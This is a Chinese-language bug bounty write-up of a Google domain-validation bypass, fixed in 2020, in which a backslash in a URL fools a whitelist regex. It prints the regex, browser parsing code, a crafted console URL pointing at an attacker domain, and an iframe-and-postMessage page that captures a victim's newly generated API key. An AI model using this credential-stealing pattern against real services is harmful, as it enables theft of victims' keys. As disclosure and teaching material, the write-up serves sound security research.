Bug Bounty:绕过Google域检测
字数 1200 2025-08-25 22:58:40
绕过Google域检测漏洞分析与利用教学
漏洞概述
本漏洞利用URL解析差异,绕过了Google广泛使用的域检测机制,可能导致API密钥或OAuth客户端ID被窃取。该漏洞影响范围广泛,涉及Google Cloud Console、Google Actions Console、YouTube Studio等多个Google产品。
技术背景
Google使用一个复杂的正则表达式来验证URL的域是否在白名单中。该正则表达式与浏览器解析URL的方式存在差异,导致可以构造特殊URL绕过检测。
漏洞原理
关键正则表达式
Google使用的URL解析正则表达式:
/^(?:([^:/?#.]+):)?(?:\/\/(?:([^/?#]*)@)?([^/#?]*?)(?::([0-9]+))?(?=[/#?]|$))?([^?#]+)?(?:\?([^#]*))?(?:#([\s\S]*))?$/
该正则表达式提取URL的各个组成部分,其中[3]匹配的是"权限(域)"部分。
浏览器解析差异
浏览器使用IsAuthorityTerminator函数判断权限部分的结束:
bool IsAuthorityTerminator(base::char16 ch) {
return IsURLSlash(ch) || ch == '?' || ch == '#';
}
其中IsURLSlash函数:
inline bool IsURLSlash(base::char16 ch) {
return ch == '/' || ch == '\\';
}
解析差异对比
构造URL示例:
https://user:pass@xdavidhu.me\\test.corp.google.com:8080/path/to/something?param=value#hash
- 正则表达式解析:将
xdavidhu.me\\test.corp.google.com视为完整域名 - 浏览器解析:将
\\视为权限终止符,实际域名为xdavidhu.me
漏洞利用步骤
1. 识别目标
寻找使用相同正则表达式进行域验证的Google服务,特别是那些:
- 嵌入iframe的Google控制台
- 使用postMessage进行跨域通信的服务
- 需要生成敏感凭证(API密钥/OAuth客户端ID)的服务
2. 构造恶意URL
利用反斜杠字符绕过检测:
https://console.developers.google.com/henhouse/?pb=["hh-0","gmail",null,[],"https://attacker-domain\\test.corp.google.com",null,[],null,"Create API key",0,null,[],false,false,null,null,null,null,false,null,false,false,null,null,null,null,null,"Quickstart",true,"Quickstart",null,null,false]
3. 创建恶意页面
<iframe id="test" src='https://console.developers.google.com/henhouse/?pb=["hh-0","gmail",null,[],"https://attacker-domain\\test.corp.google.com",null,[],null,"Create API key",0,null,[],false,false,null,null,null,null,false,null,false,false,null,null,null,null,null,"Quickstart",true,"Quickstart",null,null,false]'></iframe>
<script>
window.addEventListener('message', function (d) {
console.log(d.data);
if(d.data[1] == "apikey-credential"){
var h1 = document.createElement('h1');
h1.innerHTML = "Your API key: " + d.data[2];
document.body.appendChild(h1);
}
});
</script>
4. 窃取凭证
当受害者访问恶意页面时:
- 加载henhouse iframe
- 受害者生成API密钥
- henhouse通过postMessage发送密钥到
attacker-domain\\test.corp.google.com - 由于解析差异,消息实际发送到attacker-domain
- 恶意页面捕获API密钥
影响范围
该漏洞影响几乎所有使用Google标准URL解析器的产品,包括但不限于:
- Google Cloud Console
- Google Actions Console
- YouTube Studio
- myaccount.google.com
- 部分Android应用
- login.corp.google.com
防御措施
Google已修复此漏洞,建议开发者:
- 避免依赖客户端域验证
- 使用严格的同源策略
- 对敏感操作实施CSRF保护
- 定期审查URL解析逻辑
时间线
- 2020年1月4日:漏洞报告
- 2020年1月6日:初步分类并提升严重等级(P4→P1)
- 2020年1月17日:奖励6000美元
- 2020年3月6日:漏洞修复
总结
该漏洞展示了URL解析实现差异可能导致的安全问题,特别是在大型组织中广泛共享的基础代码库中。安全研究人员应关注基础解析逻辑中的边缘情况,这些往往能导致广泛的绕过。